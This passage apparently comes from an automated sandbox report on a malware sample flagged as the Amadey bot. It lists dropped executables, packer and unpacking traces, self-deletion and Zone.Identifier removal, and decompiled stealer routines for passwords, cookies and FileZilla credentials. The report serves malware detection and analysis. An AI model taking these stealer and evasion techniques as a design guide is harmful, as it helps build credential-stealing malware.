Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\A70A.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EE61.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3428:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6636
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4788:120:WilError_01

Source: C:\Users\user\AppData\Local\Temp\AA02.exe

Command line argument: WA

22_2_00415730

Source: 11.2.A70A.exe.12e0000.0.unpack, l2vD8Fitdl8qSVEp19/mEqmoE9UxRmX9ogcto.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 11.2.A70A.exe.12e0000.0.unpack, l2vD8Fitdl8qSVEp19/mEqmoE9UxRmX9ogcto.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Users\user\AppData\Local\Temp\AA02.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\D466.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: QMn13jz6nj.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: profapi.pdb source: WerFault.exe, 0000001B.00000003.493685520.0000000004B57000.00000004.00000040.sdmp
Source:	Binary string: msvcrt.pdbk source: WerFault.exe, 0000001B.00000003.493530727.0000000004B50000.00000004.00000040.sdmp
Source:	Binary string: D:\Mktmp\NL1\Release\NL1.pdb source: EE61.exe, 0000001F.00000000.557886650.0000000000400000.00000040.00000001.sdmp, EE61.exe, 0000001F.00000000.560895556.0000000000400000.00000040.00000001.sdmp, EE61.exe, 0000001F.00000002.568131871.0000000000400000.00000040.00000001.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 0000001B.00000003.493369014.0000000004B81000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 0000001B.00000003.475546297.000000000488F000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.493369014.0000000004B81000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 0000001B.00000003.493530727.0000000004B50000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 0000001B.00000003.493369014.0000000004B81000.00000004.00000001.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 0000001B.00000003.493530727.0000000004B50000.00000004.00000040.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 0000001B.00000003.493530727.0000000004B50000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 0000001B.00000003.493369014.0000000004B81000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdbk source: WerFault.exe, 0000001B.00000003.493530727.0000000004B50000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 0000001B.00000003.493685520.0000000004B57000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 0000001B.00000003.493685520.0000000004B57000.00000004.00000040.sdmp
Source:	Binary string: C:\yacopicugux28_yero\lub.pdb source: D466.exe, 00000013.00000000.431033742.0000000000416000.00000002.00020000.sdmp, D466.exe, 00000013.00000000.444432688.0000000000416000.00000002.00020000.sdmp, WerFault.exe, 0000001B.00000002.563965098.0000000000A40000.00000002.00020000.sdmp
Source:	Binary string: wsspicli.pdbk source: WerFault.exe, 0000001B.00000003.493530727.0000000004B50000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 0000001B.00000003.493369014.0000000004B81000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 0000001B.00000003.493685520.0000000004B57000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 0000001B.00000003.493369014.0000000004B81000.00000004.00000001.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 0000001B.00000003.493530727.0000000004B50000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 0000001B.00000003.493685520.0000000004B57000.00000004.00000040.sdmp
Source:	Binary string: msvcr100.i386.pdb source: WerFault.exe, 0000001B.00000003.493530727.0000000004B50000.00000004.00000040.sdmp
Source:	Binary string: C:\yacopicugux28_yero\lub.pdb02`e@ source: D466.exe, 00000013.00000000.431033742.0000000000416000.00000002.00020000.sdmp, D466.exe, 00000013.00000000.444432688.0000000000416000.00000002.00020000.sdmp, WerFault.exe, 0000001B.00000002.563965098.0000000000A40000.00000002.00020000.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 0000001B.00000003.493989773.0000000004B5D000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdbs\|=M source: WerFault.exe, 0000001B.00000003.493530727.0000000004B50000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 0000001B.00000003.493369014.0000000004B81000.00000004.00000001.sdmp
Source:	Binary string: =C:\xida\wimuhiwepivuz suv.pdb source: AA02.exe, 00000016.00000000.439528441.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 0000001B.00000003.493530727.0000000004B50000.00000004.00000040.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 0000001B.00000003.493685520.0000000004B57000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdbk source: WerFault.exe, 0000001B.00000003.493530727.0000000004B50000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 0000001B.00000003.493369014.0000000004B81000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 0000001B.00000003.493685520.0000000004B57000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 0000001B.00000003.493685520.0000000004B57000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 0000001B.00000003.493530727.0000000004B50000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 0000001B.00000003.493530727.0000000004B50000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 0000001B.00000003.493685520.0000000004B57000.00000004.00000040.sdmp
Source:	Binary string: C:\xida\wimuhiwepivuz suv.pdb source: AA02.exe, 00000016.00000000.439528441.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: efDC:\duluh.pdb02`e@ source: QMn13jz6nj.exe, 00000000.00000002.303636479.0000000000415000.00000002.00020000.sdmp, QMn13jz6nj.exe, 00000000.00000000.297090292.0000000000415000.00000002.00020000.sdmp, ddigjgj, 00000008.00000000.401591547.0000000000415000.00000002.00020000.sdmp, ddigjgj, 00000008.00000002.421779029.0000000000415000.00000002.00020000.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 0000001B.00000003.493369014.0000000004B81000.00000004.00000001.sdmp
Source:	Binary string: msimg32.pdb source: WerFault.exe, 0000001B.00000003.493530727.0000000004B50000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 0000001B.00000003.493369014.0000000004B81000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 0000001B.00000003.493369014.0000000004B81000.00000004.00000001.sdmp
Source:	Binary string: C:\duluh.pdb source: QMn13jz6nj.exe, 00000000.00000002.303636479.0000000000415000.00000002.00020000.sdmp, QMn13jz6nj.exe, 00000000.00000000.297090292.0000000000415000.00000002.00020000.sdmp, ddigjgj, 00000008.00000000.401591547.0000000000415000.00000002.00020000.sdmp, ddigjgj, 00000008.00000002.421779029.0000000000415000.00000002.00020000.sdmp
Source:	Binary string: C:\tok\micuh.pdb source: B6B5.exe, 00000019.00000000.448563265.0000000000401000.00000020.00020000.sdmp, B6B5.exe, 00000019.00000002.490272528.0000000000401000.00000020.00020000.sdmp, B6B5.exe, 0000001C.00000000.478287829.0000000000401000.00000020.00020000.sdmp

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\AA02.exe

Unpacked PE file: 22.2.AA02.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Unpacked PE file: 11.2.A70A.exe.12e0000.0.unpack Unknown_Section0:ER;Unknown_Section1:W;.rsrc:R;Unknown_Section3:EW; vs Unknown_Section0:ER;Unknown_Section1:W;.rsrc:R;
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Unpacked PE file: 22.2.AA02.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

.NET source code contains method to dynamically call methods (often used by packers)

Show sources

Source: 11.2.A70A.exe.12e0000.0.unpack, l2vD8Fitdl8qSVEp19/mEqmoE9UxRmX9ogcto.cs

.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)

Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 0_2_00403215 push ecx; ret	0_2_00403228
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 2_2_00401880 push esi; iretd	2_2_00401893
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 2_2_00402E94 push es; iretd	2_2_00402EA0
Source: C:\Users\user\Desktop\QMn13jz6nj.exe	Code function: 2_1_00402E94 push es; iretd	2_1_00402EA0
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 8_2_02BC3C01 push esi; ret	8_2_02BC3C7C
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 8_2_02BC3C66 push esi; ret	8_2_02BC3C7C
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 8_2_04793634 push es; iretd	8_2_04793640
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 9_2_00401880 push esi; iretd	9_2_00401893
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 9_2_00402E94 push es; iretd	9_2_00402EA0
Source: C:\Users\user\AppData\Roaming\ddigjgj	Code function: 9_1_00402E94 push es; iretd	9_1_00402EA0
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_013E1039 push B70F6E7Bh; iretd	11_2_013E103E
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_013EA244 push 0000006Ah; retf	11_2_013EA31D
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_013EA2AE push 0000006Ah; retf	11_2_013EA31D
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_013EA2AC push 0000006Ah; retf	11_2_013EA31D
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_013DF76E push esi; ret	11_2_013DF76F
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Code function: 11_2_013E1ED4 push edi; retn 000Ch	11_2_013E1ED7
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Code function: 16_2_009041AC push eax; retf 0005h	16_2_009041AD
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_004146F5 push ecx; ret	22_2_00414708
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_0043F228 push ss; iretd	22_2_0043F229
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	Code function: 22_2_00896ED6 push esp; ret	22_2_00896ED7
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Code function: 23_2_009941AC push eax; retf 0005h	23_2_009941AD
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Code function: 23_2_02AC3CAF push esp; iretd	23_2_02AC3CE9
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Code function: 23_2_05DEB490 pushad ; ret	23_2_05DEB491
Source: C:\Users\user\AppData\Local\Temp\C169.exe	Code function: 23_2_05DEFCF3 push 14057209h; retf	23_2_05DEFCFD

Source: C:\Users\user\Desktop\QMn13jz6nj.exe

Code function: 0_2_004087FB LoadLibraryW,GetProcAddress,GetProcAddress,EncodePointer,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_004087FB

Source: A70A.exe.4.dr

Static PE information: 0xD8CC78B8 [Thu Apr 5 03:15:04 2085 UTC]

Source: QMn13jz6nj.exe	Static PE information: section name: .livucuc
Source: QMn13jz6nj.exe	Static PE information: section name: .vuf
Source: QMn13jz6nj.exe	Static PE information: section name: .duha
Source: A70A.exe.4.dr	Static PE information: section name:
Source: A70A.exe.4.dr	Static PE information: section name:
Source: A70A.exe.4.dr	Static PE information: section name:
Source: D466.exe.4.dr	Static PE information: section name: .fefeg
Source: D466.exe.4.dr	Static PE information: section name: .guyus
Source: D466.exe.4.dr	Static PE information: section name: .venu
Source: D375.exe.4.dr	Static PE information: section name:
Source: D375.exe.4.dr	Static PE information: section name:
Source: D375.exe.4.dr	Static PE information: section name:
Source: D375.exe.4.dr	Static PE information: section name:
Source: D375.exe.4.dr	Static PE information: section name:
Source: D375.exe.4.dr	Static PE information: section name: .themida
Source: D375.exe.4.dr	Static PE information: section name: .boot
Source: ddigjgj.4.dr	Static PE information: section name: .livucuc
Source: ddigjgj.4.dr	Static PE information: section name: .vuf
Source: ddigjgj.4.dr	Static PE information: section name: .duha
Source: sqlite3.dll.22.dr	Static PE information: section name: /4
Source: sqlite3.dll.22.dr	Static PE information: section name: /19
Source: sqlite3.dll.22.dr	Static PE information: section name: /35
Source: sqlite3.dll.22.dr	Static PE information: section name: /51
Source: sqlite3.dll.22.dr	Static PE information: section name: /63
Source: sqlite3.dll.22.dr	Static PE information: section name: /77
Source: sqlite3.dll.22.dr	Static PE information: section name: /89
Source: sqlite3.dll.22.dr	Static PE information: section name: /102
Source: sqlite3.dll.22.dr	Static PE information: section name: /113
Source: sqlite3.dll.22.dr	Static PE information: section name: /124
Source: sqlite3[1].dll.22.dr	Static PE information: section name: /4
Source: sqlite3[1].dll.22.dr	Static PE information: section name: /19
Source: sqlite3[1].dll.22.dr	Static PE information: section name: /35
Source: sqlite3[1].dll.22.dr	Static PE information: section name: /51
Source: sqlite3[1].dll.22.dr	Static PE information: section name: /63
Source: sqlite3[1].dll.22.dr	Static PE information: section name: /77
Source: sqlite3[1].dll.22.dr	Static PE information: section name: /89
Source: sqlite3[1].dll.22.dr	Static PE information: section name: /102
Source: sqlite3[1].dll.22.dr	Static PE information: section name: /113
Source: sqlite3[1].dll.22.dr	Static PE information: section name: /124

Source: initial sample

Static PE information: section where entry point is pointing to: .boot

Source: initial sample	Static PE information: section name: .text entropy: 7.46968213296
Source: initial sample	Static PE information: section name: entropy: 7.99958739292
Source: initial sample	Static PE information: section name: .text entropy: 7.47748148421
Source: initial sample	Static PE information: section name: .text entropy: 7.03139365729
Source: initial sample	Static PE information: section name: .text entropy: 6.94028321372
Source: initial sample	Static PE information: section name: entropy: 7.97546579113
Source: initial sample	Static PE information: section name: .text entropy: 7.25113586904
Source: initial sample	Static PE information: section name: .text entropy: 7.46968213296

Source: 11.2.A70A.exe.12e0000.0.unpack, EntityCreator.cs	High entropy of concatenated method names: 'S??n', 'ScanPasswords', 'ScanCook', 'ScanFills', 'GetEntityCards', 'ReadRawData', 'ReadKey', 'MakeTries', 'EQQhVK0sySfSn9K9JZ', 'N71KZf1SWv1K2GDC5d'
Source: 11.2.A70A.exe.12e0000.0.unpack, l2vD8Fitdl8qSVEp19/mEqmoE9UxRmX9ogcto.cs	High entropy of concatenated method names: '.cctor', 'gXrXJmbBk0fMg', 'VHnWmDmvPp', 'THRWAqJ2n8', 'SaxWJ28jWa', 'dvfWrrM8Ye', 'FPBWpsy6DI', 'lXgWI9Kghy', 'HsGWZme8nA', 'h0oWKi8BXG'
Source: 11.2.A70A.exe.12e0000.0.unpack, FileZilla.cs	High entropy of concatenated method names: 'Scan', 'ScanCredentials', 'GetRecent', '.ctor', 'p35QMACOYsl47ibQuI', 'ePtFWMQSIhC0rn8m8W', 'R9DrRkkvQMHKMD0yqu', 'LEItYPRrklTjOdjHn8', 'VCoQdvm5lquKbRtw9c', 'XCunvihoIDluNWhDmU'
Source: 11.2.A70A.exe.12e0000.0.unpack, CryptoHelper.cs	High entropy of concatenated method names: 'DecryptBlob', 'DecryptBlob', 'GetMd5Hash', 'GetHexString', 'oxpwRrHA7MtDBxSIru', 'Wt4xfA6vQLqOEQQNkl', 'HElv60jaJ8nsEr1lEN', 'hCQBb79rvYiWNO2DMT', 'KCJr4olaAr9jk2boMp', 'IhuDrrzFi7G6oWiNAf'
Source: 11.2.A70A.exe.12e0000.0.unpack, NVP6cvsRm8LVKY2UGDp/dh5sYbsOQPvuwVEurZ3.cs	High entropy of concatenated method names: 'vVgkCk9peD', 'eBxqprrF8', 'LYQkSK2xW1', '.ctor', 'kLjw4iIsCLsZtxc4lksN0j', '.cctor', 'q4216ROghthnQHI5Mi', 'emXmspdyyJcJGsF0mk', 'q3PyHOVXHKKBqYCLdI', 'P8len2HbpjXgcuKmsm'
Source: 11.2.A70A.exe.12e0000.0.unpack, SystemInfoHelper.cs	High entropy of concatenated method names: 'CreateBind', 'GetProcessors', 'GetGraphicCards', 'GetBrowsers', 'GetSerialNumber', 'ListOfProcesses', 'GetVs', 'GetProcessesByName', 'ListOfPrograms', 'AvailableLanguages'
Source: 11.2.A70A.exe.12e0000.0.unpack, DownloadAndExecuteUpdate.cs	High entropy of concatenated method names: 'IsValidAction', 'Process', '.ctor', 'suCGZrgDquXtlnEU7PW', 'h1iJkRg4mk3lrbYRppI', 'xM4TErgyseDCOHyUlkR', 'tKb9k7gVpw5Vd8bDCaH', 'Xox03xgAXbFK73KqDBQ', 'N1C9TGgZGLfpmyueXSL', 'YISawpgBuhj5vmBy2dI'
Source: 11.2.A70A.exe.12e0000.0.unpack, StringDecrypt.cs	High entropy of concatenated method names: 'Xor', 'FromBase64', 'BytesToStringConverted', 'Read', 'ghoRf92gfNog3T9p6kA', 'wUohRm2d2P26SHynAUm', 'uQeqla2o5hVxcSOrh8L', 'uPlOXQ22GGRNrpnOJjq', 'ceqq1M2JNoJRnyYmRPs', 'TnY1Ph2KJe7YqLpSP96'
Source: 11.2.A70A.exe.12e0000.0.unpack, DesktopMessanger.cs	High entropy of concatenated method names: 'get_PassedPaths', 'set_PassedPaths', 'GetFolder', 'GetScanArgs', '.ctor', 'JDRJATJH8OsfAdRcXoU', 'GT8CtBJ6RU61J5dVXcR', 'nLbmJNJjb1O8aXmL2iJ', 'WObcxCJzgvpQlsvWcV8', 'PZKMpfgY3nXaWHFSaNL'
Source: 11.2.A70A.exe.12e0000.0.unpack, FullInfoSender.cs	High entropy of concatenated method names: '.ctor', 'Send', 'sdfk8h34', 'Visible', 'asdk9y3', 'kadsoji83', 'kkdhfakdasd', 'sdfm83kjasd', 'sdfkas83', 'gkdsi8y234'
Source: 11.2.A70A.exe.12e0000.0.unpack, Extensions.cs	High entropy of concatenated method names: 'ReadFile', 'ReadFileAsText', 'ChangeType', 'StripQuotes', 'DomainExists', 'PreCheck', 'sr4nxed2gajXEy6V6v3', 'IgFQ4fdJwdwfGXnXjK1', 'qifPHadg3fjdncPffFK', 'ltFUj4gz3op6nbcJlbG'
Source: 11.2.A70A.exe.12e0000.0.unpack, TaskResolver.cs	High entropy of concatenated method names: '.ctor', 'get_Result', 'ReleaseUpdates', 'V0m281g9YIM4NbYDSha', 'AsE6jcglQi2iDoG9Uqi', 'kwUSnbgHZLVsMd2PiwR', 'GUJ8n3g6xBc6RbaApvU', 'WinHfOgM2rluFJ2EYT0', 'ipVybUgwKLmQrLxQ9qN'
Source: 11.2.A70A.exe.12e0000.0.unpack, IPv4Helper.cs	High entropy of concatenated method names: 'IsLocalIp', 'GetDefaultIPv4Address', 'Request', 'l6wgX0dmeglkHJ0WPMy', 'Y98T2IdhCOMvBEtyswu', 'u07E63dkK7KQsv6UfkC', 'NUDS7adRiWPUSIrpwkA', 'dNXam6dTeWI9CfTKAHX', 'k0N7SJdvqtsUlBhKKt7', 'OcvvkVdEOFt3WV8LRWT'
Source: 11.2.A70A.exe.12e0000.0.unpack, GdiHelper.cs	High entropy of concatenated method names: 'GetCaps', 'GetWindowsScreenScalingFactor', 'MonitorSize', 'GetImageBase', 'ConvertToBytes', 'pI7r7Md3soxSL9mb8KT', 'r4XL9hdtk8GlgbO4lV1', 'AdGD67dNXHCPifdiUjC', 'gtxaWkdao542VDfu7cK', 'hg7b6fdO0cE9xI9o5eN'

Persistence and Installation Behavior:

Yara detected Amadey bot

Show sources

Source: Yara match

File source: dump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\AA02.exe

File created: C:\ProgramData\sqlite3.dll

Jump to dropped file

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\ddigjgj

Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D466.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	File created: C:\ProgramData\sqlite3.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\EE61.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\B6B5.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D375.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\AA02.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\ddigjgj	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\AA02.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\sqlite3[1].dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\A70A.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\C169.exe	Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Deletes itself after installation

Show sources

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\qmn13jz6nj.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\ddigjgj:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\AA02.exe

Code function: 22_2_0040C0B0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

22_2_0040C0B0

Source: C:\Users\user\AppData\Local\Temp\AA02.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A70A.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
